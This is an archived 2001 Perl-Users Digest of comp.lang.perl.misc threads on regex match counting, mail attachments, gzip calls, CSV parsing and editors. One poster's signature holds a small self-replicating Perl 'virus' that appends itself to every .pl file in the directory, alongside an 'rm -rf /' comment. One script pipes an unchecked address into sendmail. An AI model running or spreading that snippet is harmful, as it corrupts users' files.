[18594] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 762 Volume: 10

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Apr 25 14:06:00 2001

Date: Wed, 25 Apr 2001 11:05:12 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <988221911-v10-i762@ruby.oce.orst.edu>
Content-Type: text

Perl-Users Digest           Wed, 25 Apr 2001     Volume: 10 Number: 762

Today's topics:
        [Regex] Number of Matches <SiStie@nuclear-network.com>
    Re: [Regex] Number of Matches (Anno Siegel)
    Re: [Regex] Number of Matches (Tad McClellan)
    Re: [Regex] Number of Matches <boris@m2b.de>
    Re: [Regex] Number of Matches <ren@tivoli.com>
    Re: Accept credit cards online at only 9.1% service cha <uri@sysarch.com>
        Attach *.jpg (Micke)
    Re: Attach *.jpg (Peter L. Berghold)
    Re: Attach *.jpg <bart.lateur@skynet.be>
    Re: Browsing Directories by CGI <clinton.munden@alcatel.com>
    Re: Compression (to .zip/.gz) using system/backticks <andrew@mvt.ie>
    Re: Counting number of chars in a line (part of reading <ren@tivoli.com>
        Differences between perl and Tcl <coopvs14@americasm01.nt.com>
    Re: Differences between perl and Tcl (Rudolf Polzer)
    Re: Good editor for perl <amgross@*nospam*westernind.com>
    Re: Good editor for perl <newspost@coppit.org>
    Re: Good editor for perl (Anno Siegel)
    Re: Help for scrpit line.. (Anno Siegel)
    Re: Help for scrpit line.. <lckun@chollian.net>
    Re: Help for scrpit line.. nobull@mail.com
    Re: Help for scrpit line.. <vmurphy@Cisco.Com>
    Re: Help for scrpit line.. (Anno Siegel)
    Re: Help for scrpit line.. <lckun@chollian.net>
    Re: Help for scrpit line.. (Anno Siegel)
    Re: Help for scrpit line.. <vmurphy@Cisco.Com>
    Re: Idiom: the expression of a copied & substituted str nobull@mail.com
        Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Wed, 25 Apr 2001 18:10:07 +0200
From: Simon Stiefel <SiStie@nuclear-network.com>
Subject: [Regex] Number of Matches
Message-Id: <3AE6F6DF.7BD60956@nuclear-network.com>

Hi,

In a line, which consists of #'s and numbers, I want to count the
numbers.
A line can look like this:

$line ="# # # 4 6 # # 7 # 45 # 43 # 65 56 2 # 4345 # # 23";

You see, that there are spaces between the #'s and the numbers and
that it is possible that a number follows another.

$counter += ($line =~ m/\s\d+\s/g); #won't work. :(
         ^^
Because I have to do this several times, I have to add the number of
matches to a consisting variable.


I only want to count the numbersets (4345 should (like 4) be only one
match).


Does someone have a little hint for me?

So long...

-- 
Mit freundlichen Grüßen,        .~.     Open Minds.
with best regards               /V\             Open Sources.
                               // \\                    Open Future!
Simon Stiefel                 /(   )\_ I N U X
                               ^ ~ ^
-- 
|Simon Stiefel | Zwerbachstrasse 17 | 72555 Metzingen-Glems | Germany |
|SimonStiefel@nuclear-network.com   |  http://www.nuclear-network.com |
|ICQ#: 20196644 | phone: +49(0)7123/379070 | fax: +49(0)179/335990106 |
|Tux#: 114751 | PingoS - Linux-User helfen Schulen | Powered by LiNUX |


------------------------------

Date: 25 Apr 2001 16:44:27 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: [Regex] Number of Matches
Message-Id: <9c6utb$76p$1@mamenchi.zrz.TU-Berlin.DE>

According to Simon Stiefel  <SimonStiefel@nuclear-network.com>:
> Hi,
> 
> In a line, which consists of #'s and numbers, I want to count the
> numbers.
> A line can look like this:
> 
> $line ="# # # 4 6 # # 7 # 45 # 43 # 65 56 2 # 4345 # # 23";
> 
> You see, that there are spaces between the #'s and the numbers and
> that it is possible that a number follows another.

[snip]

So logic dictates (Uri, forget I said that), that a number is a string
of consecutive digits, separated by non-digits, whether the latter
are blanks of hash-marks.  The regex for that is simply /\d+/.  The
hard part (well, not *that* hard) is to arrange that the number of
matches is counted.

To do that, put the matching part of the regular expression in
capturing parentheses: /(\d+)/, and evaluate it globally in list
context.

    my @matches = $string =~ /(\d+)/g;

As perlre explains, this returns the list of parenthesised matches,
that is the list of numbers in $string.  So to get the count, say

    my $counter = @matches;

The only fly in the ointment is the un-needed intermediate variable
@matches.  Perl has a special provision for the case that you want
the length of a list but not the list itself (as is our case here):

    my $counter = () = $string =~ /(\d+)/g;

No, you can't "understand" that except for the fact that the
empty list () provides a list context for the match.  How the
number of elements sneaks through the empty list into $counter
is Perl's secret, but it works, and it's documented. 

Anno


------------------------------

Date: Wed, 25 Apr 2001 11:53:59 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: [Regex] Number of Matches
Message-Id: <slrn9edson.v1k.tadmc@tadmc26.august.net>

Simon Stiefel <SiStie@nuclear-network.com> wrote:
>
>In a line, which consists of #'s and numbers, I want to count the
>numbers.

>Does someone have a little hint for me?


   $counter++ while $line =~ /\d+/g;


-- 
    Tad McClellan                          SGML consulting
    tadmc@augustmail.com                   Perl programming
    Fort Worth, Texas


------------------------------

Date: Wed, 25 Apr 2001 18:51:16 +0200
From: Boris Zentner <boris@m2b.de>
Subject: Re: [Regex] Number of Matches
Message-Id: <7av6c9.tn7.ln@al.brain.de>

Simon Stiefel wrote:

> Hi,
> 
> In a line, which consists of #'s and numbers, I want to count the
> numbers.
> A line can look like this:
> 
> $line ="# # # 4 6 # # 7 # 45 # 43 # 65 56 2 # 4345 # # 23";
> 
> You see, that there are spaces between the #'s and the numbers and
> that it is possible that a number follows another.
> 
> $counter += ($line =~ m/\s\d+\s/g); #won't work. :(
>          ^^
my $line ='# # # 4 6 # # 7 # 45 # 43 # 65 56 2 # 4345 # # 23';
$counter++ while ($line =~ /\d+/g);
print $counter, "\n";

-- 
cu boris



------------------------------

Date: 25 Apr 2001 11:32:44 -0500
From: Ren Maddox <ren@tivoli.com>
Subject: Re: [Regex] Number of Matches
Message-Id: <m3vgntvt1v.fsf@dhcp9-172.support.tivoli.com>

On Wed, 25 Apr 2001, SiStie@nuclear-network.com wrote:

> $line ="# # # 4 6 # # 7 # 45 # 43 # 65 56 2 # 4345 # # 23";
> 
> $counter += ($line =~ m/\s\d+\s/g); #won't work. :(
>          ^^

You have two problems here that, once rectified, should give you what
you want.  First, you have the match in a scalar context, so it is
only going to return 1 instead of the number of matches.  Second, your
pattern matches a whitespace character after the number, which
consumes that character and prevents it from being used as the
whitespace character before the next number.

Here's what you have:

perl <<'__END__'
$line ="# # # 4 6 # # 7 # 45 # 43 # 65 56 2 # 4345 # # 23";
$counter += ($line =~ m/\s\d+\s/g);  
print "$counter\n";
__END__     
1

Here's a fix for the scalar context problem:

perl <<'__END__'
$line ="# # # 4 6 # # 7 # 45 # 43 # 65 56 2 # 4345 # # 23";
$counter += () = ($line =~ m/\s\d+\s/g); 
print "$counter\n";
__END__          
7

To clarify where "7" comes from, here are the matches:

# # # 4 6 # # 7 # 45 # 43 # 65 56 2 # 4345 # # 23
     ^^^     ^^^ ^^^^ ^^^^ ^^^^  ^^^ ^^^^^^      

"6" and "56" do not match because the preceding space was already used
for the preceding match.  "23" does not match because there is no
following space.

Here is a fix for the regex:

perl <<'__END__'
$line ="# # # 4 6 # # 7 # 45 # 43 # 65 56 2 # 4345 # # 23";
$counter += () = ($line =~ m/\d+/g);   
print "$counter\n";
__END__                       
10

This does rely on the greediness of Perl's regexes, but that isn't
uncommon.  A slightly more pedantic version would use "m/\b\d+\b/g",
and there is something to being more explicit.

Note that both of these will match the digits in "#23#", which may be
undesirable.  Here is a fix that requires whitespace (or line
endings):

perl <<'__END__'
$line ="23 # # # 4 6 # # 7 # 45 # 43 # 65 56 2 # 4345 # # 23 #47 48# 59";
$counter += () = ($line =~ m/(?:^|\s)\d+(?=\s|$)/g);  
print "$counter\n";
__END__                                
12

Note that this regex does include the preceding whitespace character
in the match, which doesn't matter for counting, but would make a
difference if the matches were being saved.  In that case,
"m/(?:^|(?<=\s))\d+(?=\s|$)/g" could be used instead.

-- 
Ren Maddox
ren@tivoli.com


------------------------------

Date: Wed, 25 Apr 2001 15:48:12 GMT
From: Uri Guttman <uri@sysarch.com>
Subject: Re: Accept credit cards online at only 9.1% service charge  3653
Message-Id: <x7y9spgeuw.fsf@home.sysarch.com>

>>>>> "AS" == Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> writes:

  AS> According to  <greg.polk@polkservices.net>:
  >> Easy Pay CC          www.easypaycc.com
  >> The Name Says It All
  >> 
  >> We provide SSL (Secure Sockets Layer) and other encryption security
  >> features that insure your online transactions are processed securely,

  AS> [...]

  >> Look, the idea was yours, you made the site, you made it successful, now
  >> shouldn't you be getting the money?

  AS> What is this doing on a language discussion group?  Go away.

not only that, but a 9.1% fee is exhorbitant!!

uri

-- 
Uri Guttman  ---------  uri@sysarch.com  ----------  http://www.sysarch.com
SYStems ARCHitecture and Stem Development ------ http://www.stemsystems.com
Learn Advanced Object Oriented Perl from Damian Conway - Boston, July 10-11
Class and Registration info:     http://www.sysarch.com/perl/OOP_class.html


------------------------------

Date: Wed, 25 Apr 2001 17:00:08 GMT
From: hamstrom@gandalf.router.hemma (Micke)
Subject: Attach *.jpg
Message-Id: <slrn9ee0k8.652.hamstrom@gandalf.router.hemma>

Hi!
Im using this script for to send messages to my students.... I have been
thinking of a way to have the option to attach a picture....
Is there a way to do it?

/Micke
<snip>
#
if(2 != @ARGV) {
  printf "Usage: $0 users letter\n";
  exit;
}

$usersfile = shift;
$letterfile = shift;

open(USERS, $usersfile) || die "Can't read from $usersfile";
open(LETTER, $letterfile) || die "Can't read from $letterfile";
$first = 1;
while(<USERS>) {
  my(@tmp);
  next if(/^#/);
  chomp;
  if($first) {
    @names = split(/:/);
    shift @names;
    $first=0;
    next;
  }
  @tmp = split(/:/);
  $mail = shift(@tmp);
  $recipients{$mail} = \@tmp;
}
close(USERS);

foreach $mail ( sort keys %recipients) {
  my($k, @keys);
  print $mail, " -> ", join(";", @{$recipients{$mail}}), "\n";
  $val{EMAIL} = $mail;
  foreach $k ( @names ) {
    my($v);
    $v = shift @{$recipients{$mail}};
    if(defined $v) {
      $val{$k} = $v;
    }
  }
  @keys = keys %val;
  open(SENDMAIL, "| /usr/sbin/sendmail $mail") || die "Can't send mail";
  seek(LETTER, 0, 0);
  while(<LETTER>) {
    foreach $k ( @keys ) {
      s/$k/$val{$k}/g;
    }
    print SENDMAIL $_;
  }
  close(SENDMAIL);
}
close(LETTER);
<snapp>

-- 
If you put tomfoolery into a computer, nothing comes out but tomfoolery.
But this tomfoolery, having passed through a very expensive machine,
is somehow enobled and no-one dare criticise it.
		-- Pierre Gallois


------------------------------

Date: Wed, 25 Apr 2001 17:06:42 GMT
From: peter@uboat.berghold.net (Peter L. Berghold)
Subject: Re: Attach *.jpg
Message-Id: <slrn9ee105.k59.peter@uboat.berghold.net>

On Wed, 25 Apr 2001 17:00:08 GMT, Micke <hamstrom@gandalf.router.hemma> wrote:
>Hi!
>Im using this script for to send messages to my students.... I have been
>thinking of a way to have the option to attach a picture....
>Is there a way to do it?

[snip!]

Check out Mime::Entity on CPAN. Should work for you like a charm.

-- 
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Peter L. Berghold                        Peter@Berghold.Net
"Linux renders ships                     http://www.berghold.net
 NT renders ships useless...."           


------------------------------

Date: Wed, 25 Apr 2001 17:45:29 GMT
From: Bart Lateur <bart.lateur@skynet.be>
Subject: Re: Attach *.jpg
Message-Id: <0c3eetkkoon1lebjredfqoagrj0t47un4t@4ax.com>

Micke wrote:

>Im using this script for to send messages to my students.... I have been
>thinking of a way to have the option to attach a picture....
>Is there a way to do it?

Sure. Check out MIME::Lite on CPAN.

-- 
	Bart.


------------------------------

Date: Wed, 25 Apr 2001 12:55:18 -0400
From: Clinton Munden <clinton.munden@alcatel.com>
Subject: Re: Browsing Directories by CGI
Message-Id: <3AE70176.619CFB83@alcatel.com>

What OS are you using?


Stuart Moore wrote:

> Is there a module that handles browsing directories (and if possible
> uploading/downloading) through a CGI interface? My ISP insists I dial through
> them to upload through FTP, this'd be a useful way of getting through that.
>
> Stuart



------------------------------

Date: Wed, 25 Apr 2001 16:22:08 +0100
From: "Andrew" <andrew@mvt.ie>
Subject: Re: Compression (to .zip/.gz) using system/backticks
Message-Id: <9c6q2k$e4a$1@kermit.esat.net>

> A. (non-perl) does anyone offhand know whether WinZip can uncopress a
> unix .gz file?

WinZip can decompress gzip files.  If the gzip file contains a tar archive
then the
user will be told that there is a tar file in there, and they'll be asked if
they want to
extract it to a temporary file and then open it.

 > B. (perl ! and thus saving my bacon :) would the proper command look
> something like
>
>     `cat $file1 $file2 | gzip > ${fileprefix}.gz`
>         or die "$!";
>
> .. or would it be $@ and not $! ?
>
> Obviously I know the unix part -- cat filea fileb |gzip >foo.gz --
> that's not what I'm asking in B, above. *cough* :-)
>
> Or would you do it a different way?
>
> Thanks for any tips.[2]

I did something similar to what you've described.  I'm enclosing the
relevant code
fragment below.  There's probably better ways to do it, but this worked ok.

## Create a tar archive of the .jpg and .txt files, deleting the files after
they've been put into the archive
@args = ("tar --remove-files -cf images.tar *.jpg *.txt");
if(system(@args) != 0)
{
 printf "\nError creating tar file \n";
}

## Compress the archive into a zip file
@args = ("gzip images.tar");
if(system(@args) != 0)
{
 printf "\nError creating zip file \n";
}

## Rename the zip file to have a .tgz extension, overwriting an existing
file if present
@args = ("mv -f images.tar.gz images.tgz");
if(system(@args) != 0)
{
 printf "\nError renaming zip file \n";
}

Andrew





------------------------------

Date: 25 Apr 2001 10:11:55 -0500
From: Ren Maddox <ren@tivoli.com>
Subject: Re: Counting number of chars in a line (part of reading multiline CSV
Message-Id: <m34rvdxbd0.fsf@dhcp9-172.support.tivoli.com>

On Wed, 25 Apr 2001, ralawrence@mailandnews.co.uk wrote:

> The CSV file is outputted from Microsoft Outlook Contacts and, as
> such, the address lines are separated by newlines so you might have
> 
> Forename,Surname,Address,Telephone Number Richard,Lawrence,10 Smithy
> Street\nSomewheresville\nEngland,+44123456789
> 
> Its definately Microsoft breaking CSV rules, but since it is
> something that absolutely, definativily, positivily, must be
> supported - I have no choice but to code for it.

I ran into this exact problem.  The solution I eventually used was to
assume that any CSV parsing error meant that I needed to append
another line.  Obviously, if there are other kinds of problems in the
file, this method will fall apart.  Still, I had good luck with it.

Here's the general idea:

#!/usr/bin/perl
use Text::CSV;
my $csv = Text::CSV->new;
my $filename = "file.csv";
open(CSVFILE,$filename) || die "Could not open $filename: $!\n";
while(<CSVFILE>) {
  if($csv->parse($_)) {
    my @fields = $csv->fields;
    # process @fields here
  } else {
    $_ .= <CSVFILE>;  # get another line
    redo;      # and try again
  }
}
close(CSVFILE);
__END__

-- 
Ren Maddox
ren@tivoli.com


------------------------------

Date: Wed, 25 Apr 2001 11:31:06 -0400
From: "Wenzel, Joel [CAR:VS11:EXCH]" <coopvs14@americasm01.nt.com>
Subject: Differences between perl and Tcl
Message-Id: <3AE6EDBA.C81F3815@americasm01.nt.com>

Also, I was wondering if anyone has any significent differences between
perl and Tcl to add to my list.  Some of these are probably wrong so if
you can tell me what is correct, that would also be helpful.

Tcl stores all data in strings -- Tcl now supports binary strings but
I'm not sure if I quite understand this...does that mean it can store
numbers in binary now?

Tcl is unicode

A Tcl list is just a long string

A tcl array is just a hash (associative list)

Tcl is easier to learn then perl

Tcl and perl are now both easily extensible

Tcl is thread -safe: perl is not

Perl contains way more predefined variables ( that are very confusing)

Both languages are now general purpose scripting languages

perl is faster at string manipulations and parsing



------------------------------

Date: Wed, 25 Apr 2001 19:31:44 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: Differences between perl and Tcl
Message-Id: <slrn9ee2g0.bcg.eins@www42.t-offline.de>

Wenzel, Joel [CAR:VS11:EXCH] <coopvs14@americasm01.nt.com> wrote:
> Also, I was wondering if anyone has any significent differences between
> perl and Tcl to add to my list.  Some of these are probably wrong so if
> you can tell me what is correct, that would also be helpful.
> 
> Tcl stores all data in strings -- Tcl now supports binary strings but
> I'm not sure if I quite understand this...does that mean it can store
> numbers in binary now?
> 
> Tcl is unicode

No. Perl supports unicode, too. But not really complete yet, but it 
works.

> Tcl is easier to learn then perl

Depends on what you want to do. C and bash programmers should learn 
perl just as fast as tcl.

> Tcl is thread -safe: perl is not

You can build dead- and livelocks on both. And when you use locking 
and such things, the problems go away.

> Perl contains way more predefined variables ( that are very confusing)

(Without knowing Tcl) yes.

> Both languages are now general purpose scripting languages

Yes, but do you know a CGI provider that supports Tcl?


-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################


------------------------------

Date: Wed, 25 Apr 2001 10:23:15 -0500
From: "Aaron Gross" <amgross@*nospam*westernind.com>
Subject: Re: Good editor for perl
Message-Id: <7%BF6.4$cb4.116@client>

Ultraedit!

Makes your perl code pretty in colors, plus does other stuff like html. :)
"Super-Simon" <simon@super-simon.com> wrote in message
news:9c1csm$loh$1@news1.xs4all.nl...
> Hi all,
>
> I'm searching for a good, fast editor with syntax highlighting for perl
> (CGI) for use under Windows 2000 / Windows 98 (I use windowz only for
> editing scripts, scripts runs on Linux-server). It has to be free (I'm a
> poor student ;-)
>
> Grtz,
>
> Super-Simon
>
>




------------------------------

Date: Wed, 25 Apr 2001 13:29:25 -0400
From: David Coppit <newspost@coppit.org>
Subject: Re: Good editor for perl
Message-Id: <Pine.SUN.4.33.0104251326410.20732-100000@mamba.cs.Virginia.EDU>

On 23 Apr 2001, Anno Siegel wrote:

> > Is this supposed to imply syntax hilighting is a bad thing?
> >
> > Don't insult someone because their preferences are not yours.
>
> I expressed the opinion that syntax checkers don't do much good.
> To do so, I mimicked astonishment about the fact that anyone might
> think otherwise.  Where is the insult?

My fault... I misinterpreted your response. :)

> > {
> >   $a = reformat<<"  EOF";
> >     This is
> >     a block of
> >     text to be reformatted.
> >    EOF # Oops. 3 spaces instead of 2.
> > }
>
> Is this here for a purpose?  What does it demonstrate?

This bites me without syntax hilighting... The terminating "  EOF"
doesn't have two spaces as specified by <<"  EOF", which causes
problems. This often happens if you in/out-dent a block of code that
has a here-document.

Of course, you need a good syntax hilighter that knows Perl syntax
fairly well... :)

David



------------------------------

Date: 25 Apr 2001 17:59:41 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Good editor for perl
Message-Id: <9c73ad$9vl$1@mamenchi.zrz.TU-Berlin.DE>

According to David Coppit  <newspost@coppit.org>:
> On 23 Apr 2001, Anno Siegel wrote:

> > > {
> > >   $a = reformat<<"  EOF";
> > >     This is
> > >     a block of
> > >     text to be reformatted.
> > >    EOF # Oops. 3 spaces instead of 2.
> > > }
> >
> > Is this here for a purpose?  What does it demonstrate?
> 
> This bites me without syntax hilighting... The terminating "  EOF"
> doesn't have two spaces as specified by <<"  EOF", which causes
> problems. This often happens if you in/out-dent a block of code that
> has a here-document.

It would bite you even if the number of blanks before EOF were
correct.  The terminator must appear on a line by itself, no blanks
on either side, far less comments.

On the other hand, when you're used to indenting your code without
automatic help, the problem hardly arises.  Putting exactly the
same number of blanks in front of each line is routine.  You'll just
check twice a critical line like that.

Anno


------------------------------

Date: 25 Apr 2001 15:30:02 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Help for scrpit line..
Message-Id: <9c6qhq$35f$3@mamenchi.zrz.TU-Berlin.DE>

According to Vinny Murphy  <vmurphy@Cisco.Com>:
> lee changkun <lckun@informatik.uni-rostock.de> writes:
> 
> > Hi all,
> > 
> > 
> > Can Anyone tell me what means this command line ?
> > 
> > I don't understand -M and 60/60/24.
> > 
> > I think -M is Age of file in days when script started. But what means
> > 60/60/24??
> > 
> > if (-M "$file" > 60/60/24){
> > 
> > }
> 
> if the file has been modified more than an hour.
                                             ^^^^

Second.

60/60/24 is just an arithmetic expression.  The result is one second,
expressed as a fraction of one day.

Anno


------------------------------

Date: Thu, 26 Apr 2001 01:27:10 +0900
From: lckun <lckun@chollian.net>
Subject: Re: Help for scrpit line..
Message-Id: <3AE6FADE.9040003@chollian.net>

Thanks for the your kind reply.
If I will change one minute instead of an hour in the script, what 
should i modify it?


Thanks in advance,

tag


Vinny Murphy wrote:

> lee changkun <lckun@informatik.uni-rostock.de> writes:
> 
> 
>> Hi all,
>> 
>> 
>> Can Anyone tell me what means this command line ?
>> 
>> I don't understand -M and 60/60/24.
>> 
>> I think -M is Age of file in days when script started. But what means
>> 60/60/24??
>> 
>> if (-M "$file" > 60/60/24){
>> 
>> }
> 
> 
> if the file has been modified more than an hour.
> 
> More info see:
> perldoc perlvar
> perldoc perlfunc  ( look for stat )



------------------------------

Date: 25 Apr 2001 18:13:57 +0100
From: nobull@mail.com
Subject: Re: Help for scrpit line..
Message-Id: <u9u23ckilm.fsf@wcl-l.bham.ac.uk>

anno4000@lublin.zrz.tu-berlin.de (Anno Siegel) writes:

> According to Vinny Murphy  <vmurphy@Cisco.Com>:
> > lee changkun <lckun@informatik.uni-rostock.de> writes:
> > 
> > > if (-M "$file" > 60/60/24){
> > 
> > if the file has been modified more than an hour.
> 
> Second.
> 
> 60/60/24 is just an arithmetic expression.  The result is one second,
> expressed as a fraction of one day.

No, hour.

Look again carefully.

You are seeing what you expect see not that is actually there.

-- 
     \\   ( )
  .  _\\__[oo
 .__/  \\ /\@
 .  l___\\
  # ll  l\\
 ###LL  LL\\


------------------------------

Date: 25 Apr 2001 13:26:55 -0400
From: Vinny Murphy <vmurphy@Cisco.Com>
Subject: Re: Help for scrpit line..
Message-Id: <m3ae54riu8.fsf@vpnrel.cisco.com>

anno4000@lublin.zrz.tu-berlin.de (Anno Siegel) writes:

> According to Vinny Murphy  <vmurphy@Cisco.Com>:
> > lee changkun <lckun@informatik.uni-rostock.de> writes:
> > 
> > > Hi all,
> > > 
> > > 
> > > Can Anyone tell me what means this command line ?
> > > 
> > > I don't understand -M and 60/60/24.
> > > 
> > > I think -M is Age of file in days when script started. But what means
> > > 60/60/24??
> > > 
> > > if (-M "$file" > 60/60/24){
> > > 
> > > }
> > 
> > if the file has been modified more than an hour.
>                                              ^^^^
> 
> Second.
> 
> 60/60/24 is just an arithmetic expression.  The result is one second,
> expressed as a fraction of one day.

My only defense is that I have a math degree from a public
university. :-)

-- 
Vinny


------------------------------

Date: 25 Apr 2001 17:31:45 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Help for scrpit line..
Message-Id: <9c71m1$8ii$1@mamenchi.zrz.TU-Berlin.DE>

According to  <nobull@mail.com>:
> anno4000@lublin.zrz.tu-berlin.de (Anno Siegel) writes:
> 
> > According to Vinny Murphy  <vmurphy@Cisco.Com>:
> > > lee changkun <lckun@informatik.uni-rostock.de> writes:
> > > 
> > > > if (-M "$file" > 60/60/24){
> > > 
> > > if the file has been modified more than an hour.
> > 
> > Second.
> > 
> > 60/60/24 is just an arithmetic expression.  The result is one second,
> > expressed as a fraction of one day.
> 
> No, hour.
> 
> Look again carefully.
> 
> You are seeing what you expect see not that is actually there.

Oh my, yes.  Funny way of saying "one".

Anno


------------------------------

Date: Thu, 26 Apr 2001 02:34:48 +0900
From: lckun <lckun@chollian.net>
Subject: Re: Help for scrpit line..
Message-Id: <3AE70AB8.4090002@chollian.net>

Thanks Vinny Murphy,

Just now, I solved now my trouble..

Regards

tag


lckun wrote:

> Thanks for the your kind reply.
> If I will change one minute instead of an hour in the script, what 
> should i modify it?
> 
> 
> Thanks in advance,
> 
> tag
> 
> 
> Vinny Murphy wrote:
> 
>> lee changkun <lckun@informatik.uni-rostock.de> writes:
>> 
>> 
>>> Hi all,
>>> 
>>> 
>>> Can Anyone tell me what means this command line ?
>>> 
>>> I don't understand -M and 60/60/24.
>>> 
>>> I think -M is Age of file in days when script started. But what means
>>> 60/60/24??
>>> 
>>> if (-M "$file" > 60/60/24){
>>> 
>>> }
>> 
>> 
>> 
>> if the file has been modified more than an hour.
>> 
>> More info see:
>> perldoc perlvar
>> perldoc perlfunc  ( look for stat )



------------------------------

Date: 25 Apr 2001 17:36:00 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Help for scrpit line..
Message-Id: <9c71u0$8ii$2@mamenchi.zrz.TU-Berlin.DE>

According to Vinny Murphy  <vmurphy@Cisco.Com>:
> anno4000@lublin.zrz.tu-berlin.de (Anno Siegel) writes:
> 
> > According to Vinny Murphy  <vmurphy@Cisco.Com>:
> > > lee changkun <lckun@informatik.uni-rostock.de> writes:
> > > 
> > > > Hi all,
> > > > 
> > > > 
> > > > Can Anyone tell me what means this command line ?
> > > > 
> > > > I don't understand -M and 60/60/24.
> > > > 
> > > > I think -M is Age of file in days when script started. But what means
> > > > 60/60/24??
> > > > 
> > > > if (-M "$file" > 60/60/24){
> > > > 
> > > > }
> > > 
> > > if the file has been modified more than an hour.
> >                                              ^^^^
> > 
> > Second.
> > 
> > 60/60/24 is just an arithmetic expression.  The result is one second,
> > expressed as a fraction of one day.
> 
> My only defense is that I have a math degree from a public
> university. :-)

As Nobull has advised me to do (in another reply), look closer.  It
is an arithmetic expression, but it *does* represent one hour.

Anno Siegel, Diplommathematiker


------------------------------

Date: 25 Apr 2001 13:44:58 -0400
From: Vinny Murphy <vmurphy@Cisco.Com>
Subject: Re: Help for scrpit line..
Message-Id: <m366fsri05.fsf@vpnrel.cisco.com>

Vinny Murphy <vmurphy@Cisco.Com> writes:

> anno4000@lublin.zrz.tu-berlin.de (Anno Siegel) writes:
> 
> > According to Vinny Murphy  <vmurphy@Cisco.Com>:
> > > lee changkun <lckun@informatik.uni-rostock.de> writes:
> > > 
> > > > Hi all,
> > > > 
> > > > 
> > > > Can Anyone tell me what means this command line ?
> > > > 
> > > > I don't understand -M and 60/60/24.
> > > > 
> > > > I think -M is Age of file in days when script started. But what means
> > > > 60/60/24??
> > > > 
> > > > if (-M "$file" > 60/60/24){
> > > > 
> > > > }
> > > 
> > > if the file has been modified more than an hour.
> >                                              ^^^^
> > 
> > Second.
> > 
> > 60/60/24 is just an arithmetic expression.  The result is one second,
> > expressed as a fraction of one day.
> 
> My only defense is that I have a math degree from a public
> university. :-)

But isn't 1/24 is an an hour?


-- 
Vinny


------------------------------

Date: 25 Apr 2001 17:55:35 +0100
From: nobull@mail.com
Subject: Re: Idiom: the expression of a copied & substituted string
Message-Id: <u97l08ly0o.fsf@wcl-l.bham.ac.uk>

"John Lin" <johnlin@chttl.com.tw> writes:

> Although maybe eventually you will feel this question is not worthy discussing,
> I think I still need to explain and make clear what I was talking about...
> 
> "Chris Stith" wrote
> >     my $original = 'hello-world.pl';
> >     my $new = $original =~ s/\.pl$/.bak/;
> >     rename $original, $new;
> 
> Let's take this for example.  It takes two "statements" to bring the
> "copied and substituted string" into "rename" as its parameter.
> If we want to do it in "one expression", the current answer I have is
> 
>     do { (my $new = $original) =~ s/\.pl$/.bak/; $new };  # copied & substituted
> 
> that is
> 
>     rename $original, do { (my $new = $original) =~ s/\.pl$/.bak/; $new };

How about:

rename $original, (map { s/\.pl$/.bak/; $_ } "$original")[0];

Not really much better... :-)

OK, so how about:

rename $original, apply { s/\.pl$/.bak/ } $original;

Where apply() would be defined as follows:

sub last_item_when_in_scalar_context { wantarray ? @_ : $_[-1] }

# If you are worried about speed you could re-write this in XS
sub apply (&@) {
    my $action = shift;
    &$action for my @values = @_;
    last_item_when_in_scalar_context @values;
}

While were looking for neat idioms, anyone know any built-in constuct
which has similar semantics to last_item_when_in_scalar_context()
above?  I seem to need it an awful lot.

Anyhow do folks think these would make suitable additions to
List::Util?  If so can anyone come up with a more snappy name for
last_item_when_in_scalar_context?

-- 
     \\   ( )
  .  _\\__[oo
 .__/  \\ /\@
 .  l___\\
  # ll  l\\
 ###LL  LL\\


------------------------------

Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V10 Issue 762
**************************************


home help back first fref pref prev next nref lref last post